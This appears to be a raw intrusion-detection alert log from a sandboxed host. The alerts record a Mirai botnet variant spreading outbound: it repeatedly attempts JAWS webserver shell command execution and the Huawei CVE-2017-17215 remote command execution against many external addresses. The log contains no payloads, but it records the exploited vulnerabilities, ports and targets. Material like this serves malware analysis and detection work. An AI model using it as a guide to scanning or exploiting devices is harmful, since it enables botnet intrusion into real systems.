2025-01-05T14:35:24.562507+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35914	101.33.15.182	80	TCP
2025-01-05T14:35:24.562507+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35914	101.33.15.182	80	TCP
2025-01-05T14:35:24.577840+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34404	167.86.240.3	80	TCP
2025-01-05T14:35:24.577840+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34404	167.86.240.3	80	TCP
2025-01-05T14:35:24.605296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52286	218.226.185.104	80	TCP
2025-01-05T14:35:24.605296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52286	218.226.185.104	80	TCP
2025-01-05T14:35:24.607002+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51538	203.230.101.226	80	TCP
2025-01-05T14:35:24.607002+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51538	203.230.101.226	80	TCP
2025-01-05T14:35:24.656006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56628	103.216.228.120	80	TCP
2025-01-05T14:35:24.656006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56628	103.216.228.120	80	TCP
2025-01-05T14:35:24.763411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39718	197.69.43.131	37215	TCP
2025-01-05T14:35:24.763559+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41814	41.75.55.64	37215	TCP
2025-01-05T14:35:24.792814+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47444	197.253.176.159	37215	TCP
2025-01-05T14:35:24.796658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51232	197.194.52.19	37215	TCP
2025-01-05T14:35:24.810933+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38372	197.180.206.154	37215	TCP
2025-01-05T14:35:24.811062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47490	197.34.157.50	37215	TCP
2025-01-05T14:35:24.811527+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38552	156.80.103.197	37215	TCP
2025-01-05T14:35:24.814718+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48356	41.136.81.60	37215	TCP
2025-01-05T14:35:24.815952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50628	156.8.172.132	37215	TCP
2025-01-05T14:35:24.826147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33664	197.222.110.178	37215	TCP
2025-01-05T14:35:24.828349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59438	197.60.203.86	37215	TCP
2025-01-05T14:35:24.829113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47258	41.54.17.227	37215	TCP
2025-01-05T14:35:24.830041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50494	197.82.30.209	37215	TCP
2025-01-05T14:35:24.841581+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59858	197.79.133.212	37215	TCP
2025-01-05T14:35:24.841640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43376	156.197.218.92	37215	TCP
2025-01-05T14:35:24.855470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53310	41.213.235.247	37215	TCP
2025-01-05T14:35:24.857318+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59290	41.190.180.192	37215	TCP
2025-01-05T14:35:24.859062+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55978	41.15.209.138	37215	TCP
2025-01-05T14:35:24.860181+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54256	41.200.83.35	37215	TCP
2025-01-05T14:35:24.860823+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47706	156.195.105.85	37215	TCP
2025-01-05T14:35:24.861026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41222	197.187.103.185	37215	TCP
2025-01-05T14:35:24.872971+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45022	197.109.128.151	37215	TCP
2025-01-05T14:35:24.886547+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43988	156.171.125.144	37215	TCP
2025-01-05T14:35:24.902093+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58116	41.201.42.131	37215	TCP
2025-01-05T14:35:24.905330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60074	197.60.171.117	37215	TCP
2025-01-05T14:35:24.919510+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45244	197.54.173.80	37215	TCP
2025-01-05T14:35:24.952999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44562	41.180.246.157	37215	TCP
2025-01-05T14:35:24.982349+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36756	156.170.218.140	37215	TCP
2025-01-05T14:35:24.984120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52502	156.94.162.195	37215	TCP
2025-01-05T14:35:25.031487+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33436	197.84.15.127	37215	TCP
2025-01-05T14:35:25.559412+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46780	8.68.178.189	80	TCP
2025-01-05T14:35:25.559412+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46780	8.68.178.189	80	TCP
2025-01-05T14:35:25.560881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48150	87.250.95.34	80	TCP
2025-01-05T14:35:25.560881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48150	87.250.95.34	80	TCP
2025-01-05T14:35:25.561049+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52556	14.23.12.113	80	TCP
2025-01-05T14:35:25.561049+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52556	14.23.12.113	80	TCP
2025-01-05T14:35:25.576564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47124	201.192.131.27	80	TCP
2025-01-05T14:35:25.576564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47124	201.192.131.27	80	TCP
2025-01-05T14:35:25.590574+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41036	116.217.8.159	80	TCP
2025-01-05T14:35:25.590574+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41036	116.217.8.159	80	TCP
2025-01-05T14:35:25.818697+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57960	195.140.30.201	80	TCP
2025-01-05T14:35:25.818697+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57960	195.140.30.201	80	TCP
2025-01-05T14:35:25.818697+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47194	51.91.237.162	80	TCP
2025-01-05T14:35:25.818697+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47194	51.91.237.162	80	TCP
2025-01-05T14:35:25.818716+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47260	99.204.194.2	80	TCP
2025-01-05T14:35:25.818716+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47260	99.204.194.2	80	TCP
2025-01-05T14:35:25.818728+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41862	203.160.148.137	80	TCP
2025-01-05T14:35:25.818728+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41862	203.160.148.137	80	TCP
2025-01-05T14:35:25.818751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46980	211.75.202.126	80	TCP
2025-01-05T14:35:25.818751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46980	211.75.202.126	80	TCP
2025-01-05T14:35:25.818760+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47000	201.107.214.31	80	TCP
2025-01-05T14:35:25.818760+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47000	201.107.214.31	80	TCP
2025-01-05T14:35:25.818785+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53330	150.253.74.175	80	TCP
2025-01-05T14:35:25.818785+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53330	150.253.74.175	80	TCP
2025-01-05T14:35:25.818832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41546	98.75.149.53	80	TCP
2025-01-05T14:35:25.818832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41546	98.75.149.53	80	TCP
2025-01-05T14:35:25.818851+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52818	78.164.17.37	80	TCP
2025-01-05T14:35:25.818851+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52818	78.164.17.37	80	TCP
2025-01-05T14:35:25.818853+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59416	171.119.81.29	80	TCP
2025-01-05T14:35:25.818853+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59416	171.119.81.29	80	TCP
2025-01-05T14:35:25.818872+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36744	192.121.107.204	80	TCP
2025-01-05T14:35:25.818872+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36744	192.121.107.204	80	TCP
2025-01-05T14:35:25.818879+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51962	58.229.51.169	80	TCP
2025-01-05T14:35:25.818879+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51962	58.229.51.169	80	TCP
2025-01-05T14:35:25.818929+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39986	101.8.220.134	80	TCP
2025-01-05T14:35:25.818929+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39986	101.8.220.134	80	TCP
2025-01-05T14:35:25.818941+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37582	112.69.235.165	80	TCP
2025-01-05T14:35:25.818941+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37582	112.69.235.165	80	TCP
2025-01-05T14:35:25.818967+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47498	52.203.81.149	80	TCP
2025-01-05T14:35:25.818967+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47498	52.203.81.149	80	TCP
2025-01-05T14:35:25.839788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54842	197.236.237.254	37215	TCP
2025-01-05T14:35:25.855371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48712	156.89.90.111	37215	TCP
2025-01-05T14:35:25.856120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53650	41.160.228.254	37215	TCP
2025-01-05T14:35:25.857173+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45268	156.214.104.191	37215	TCP
2025-01-05T14:35:25.886567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38692	41.66.96.43	37215	TCP
2025-01-05T14:35:25.890407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50348	41.70.72.251	37215	TCP
2025-01-05T14:35:25.902914+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56868	53.13.245.147	80	TCP
2025-01-05T14:35:25.902914+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56868	53.13.245.147	80	TCP
2025-01-05T14:35:25.917941+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58988	156.148.192.57	37215	TCP
2025-01-05T14:35:25.933436+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52424	208.53.123.28	80	TCP
2025-01-05T14:35:25.933436+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52424	208.53.123.28	80	TCP
2025-01-05T14:35:25.935190+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43810	197.11.210.39	37215	TCP
2025-01-05T14:35:25.968567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45550	197.180.106.240	37215	TCP
2025-01-05T14:35:26.558587+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46816	112.1.174.23	80	TCP
2025-01-05T14:35:26.558587+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46816	112.1.174.23	80	TCP
2025-01-05T14:35:26.608361+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49964	220.202.128.100	80	TCP
2025-01-05T14:35:26.608361+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49964	220.202.128.100	80	TCP
2025-01-05T14:35:26.628722+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33392	174.41.253.174	80	TCP
2025-01-05T14:35:26.628722+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33392	174.41.253.174	80	TCP
2025-01-05T14:35:26.652313+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43024	195.118.87.15	80	TCP
2025-01-05T14:35:26.652313+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43024	195.118.87.15	80	TCP
2025-01-05T14:35:26.653951+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42086	190.33.161.85	80	TCP
2025-01-05T14:35:26.653951+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42086	190.33.161.85	80	TCP
2025-01-05T14:35:26.689632+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39550	1.68.91.176	80	TCP
2025-01-05T14:35:26.689632+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39550	1.68.91.176	80	TCP
2025-01-05T14:35:26.718659+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50198	87.172.73.249	80	TCP
2025-01-05T14:35:26.718659+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50198	87.172.73.249	80	TCP
2025-01-05T14:35:26.964641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45880	64.215.97.153	80	TCP
2025-01-05T14:35:26.964641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45880	64.215.97.153	80	TCP
2025-01-05T14:35:26.966450+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51132	148.157.180.197	80	TCP
2025-01-05T14:35:26.966450+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51132	148.157.180.197	80	TCP
2025-01-05T14:35:26.982077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33354	41.126.156.236	37215	TCP
2025-01-05T14:35:26.984134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33394	187.32.110.182	80	TCP
2025-01-05T14:35:26.984134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33394	187.32.110.182	80	TCP
2025-01-05T14:35:26.996001+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55430	41.48.91.19	37215	TCP
2025-01-05T14:35:26.997837+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39160	81.114.0.14	80	TCP
2025-01-05T14:35:26.997837+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39160	81.114.0.14	80	TCP
2025-01-05T14:35:27.002554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43680	114.24.182.202	80	TCP
2025-01-05T14:35:27.002554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43680	114.24.182.202	80	TCP
2025-01-05T14:35:27.062374+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42756	197.82.17.160	37215	TCP
2025-01-05T14:35:27.622788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37048	112.45.192.227	80	TCP
2025-01-05T14:35:27.622788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37048	112.45.192.227	80	TCP
2025-01-05T14:35:27.884242+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42046	218.250.88.5	80	TCP
2025-01-05T14:35:27.884242+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42046	218.250.88.5	80	TCP
2025-01-05T14:35:28.808497+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37928	197.13.245.98	37215	TCP
2025-01-05T14:35:28.808781+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35732	41.2.209.183	37215	TCP
2025-01-05T14:35:28.810205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60968	71.165.247.212	80	TCP
2025-01-05T14:35:28.810205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60968	71.165.247.212	80	TCP
2025-01-05T14:35:28.810436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57462	41.91.248.155	37215	TCP
2025-01-05T14:35:28.824833+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42732	41.59.182.157	37215	TCP
2025-01-05T14:35:28.829665+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39294	41.97.3.223	37215	TCP
2025-01-05T14:35:28.829812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53102	41.116.175.45	37215	TCP
2025-01-05T14:35:28.840157+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49720	41.213.135.19	37215	TCP
2025-01-05T14:35:28.841099+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51112	197.105.165.45	37215	TCP
2025-01-05T14:35:28.858171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44232	156.163.249.77	37215	TCP
2025-01-05T14:35:28.861852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44830	156.18.15.156	37215	TCP
2025-01-05T14:35:28.871041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40838	41.117.95.221	37215	TCP
2025-01-05T14:35:28.890484+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41772	41.181.211.24	37215	TCP
2025-01-05T14:35:28.902149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51224	156.85.245.41	37215	TCP
2025-01-05T14:35:28.906007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50086	156.165.175.82	37215	TCP
2025-01-05T14:35:28.907804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36980	41.127.180.69	37215	TCP
2025-01-05T14:35:28.980462+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38570	41.242.84.4	37215	TCP
2025-01-05T14:35:29.011827+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50680	41.93.222.176	37215	TCP
2025-01-05T14:35:29.222457+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53302	194.164.72.143	80	TCP
2025-01-05T14:35:29.222457+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53302	194.164.72.143	80	TCP
2025-01-05T14:35:29.609269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36660	120.208.70.62	80	TCP
2025-01-05T14:35:29.609269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36660	120.208.70.62	80	TCP
2025-01-05T14:35:29.808526+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37562	184.87.62.165	80	TCP
2025-01-05T14:35:29.808526+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37562	184.87.62.165	80	TCP
2025-01-05T14:35:29.863349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49442	117.192.154.253	80	TCP
2025-01-05T14:35:29.863349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49442	117.192.154.253	80	TCP
2025-01-05T14:35:29.875375+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35870	174.80.238.146	80	TCP
2025-01-05T14:35:29.875375+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35870	174.80.238.146	80	TCP
2025-01-05T14:35:29.888763+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42640	57.123.69.145	80	TCP
2025-01-05T14:35:29.888763+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42640	57.123.69.145	80	TCP
2025-01-05T14:35:29.892387+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43230	153.128.158.155	80	TCP
2025-01-05T14:35:29.892387+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43230	153.128.158.155	80	TCP
2025-01-05T14:35:29.917940+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45410	41.177.43.112	37215	TCP
2025-01-05T14:35:29.919943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60046	197.221.234.253	37215	TCP
2025-01-05T14:35:29.921672+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47768	41.69.79.153	37215	TCP
2025-01-05T14:35:29.949223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33314	197.21.220.30	37215	TCP
2025-01-05T14:35:29.954805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49512	41.105.214.13	37215	TCP
2025-01-05T14:35:29.966667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40352	197.88.186.240	37215	TCP
2025-01-05T14:35:30.855805+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45714	208.94.177.129	80	TCP
2025-01-05T14:35:30.855805+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45714	208.94.177.129	80	TCP
2025-01-05T14:35:30.872889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43082	205.16.247.198	80	TCP
2025-01-05T14:35:30.872889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43082	205.16.247.198	80	TCP
2025-01-05T14:35:30.876945+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44544	79.247.228.250	80	TCP
2025-01-05T14:35:30.876945+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44544	79.247.228.250	80	TCP
2025-01-05T14:35:30.933561+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51000	197.5.27.15	37215	TCP
2025-01-05T14:35:30.934333+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54726	156.19.241.157	37215	TCP
2025-01-05T14:35:30.935150+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58150	197.152.37.98	37215	TCP
2025-01-05T14:35:30.935332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33154	156.63.184.208	37215	TCP
2025-01-05T14:35:30.950953+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56864	156.123.127.178	37215	TCP
2025-01-05T14:35:30.982068+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50020	41.11.94.72	37215	TCP
2025-01-05T14:35:30.986018+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45736	41.224.221.140	37215	TCP
2025-01-05T14:35:31.209988+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44656	185.52.151.162	80	TCP
2025-01-05T14:35:31.209988+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44656	185.52.151.162	80	TCP
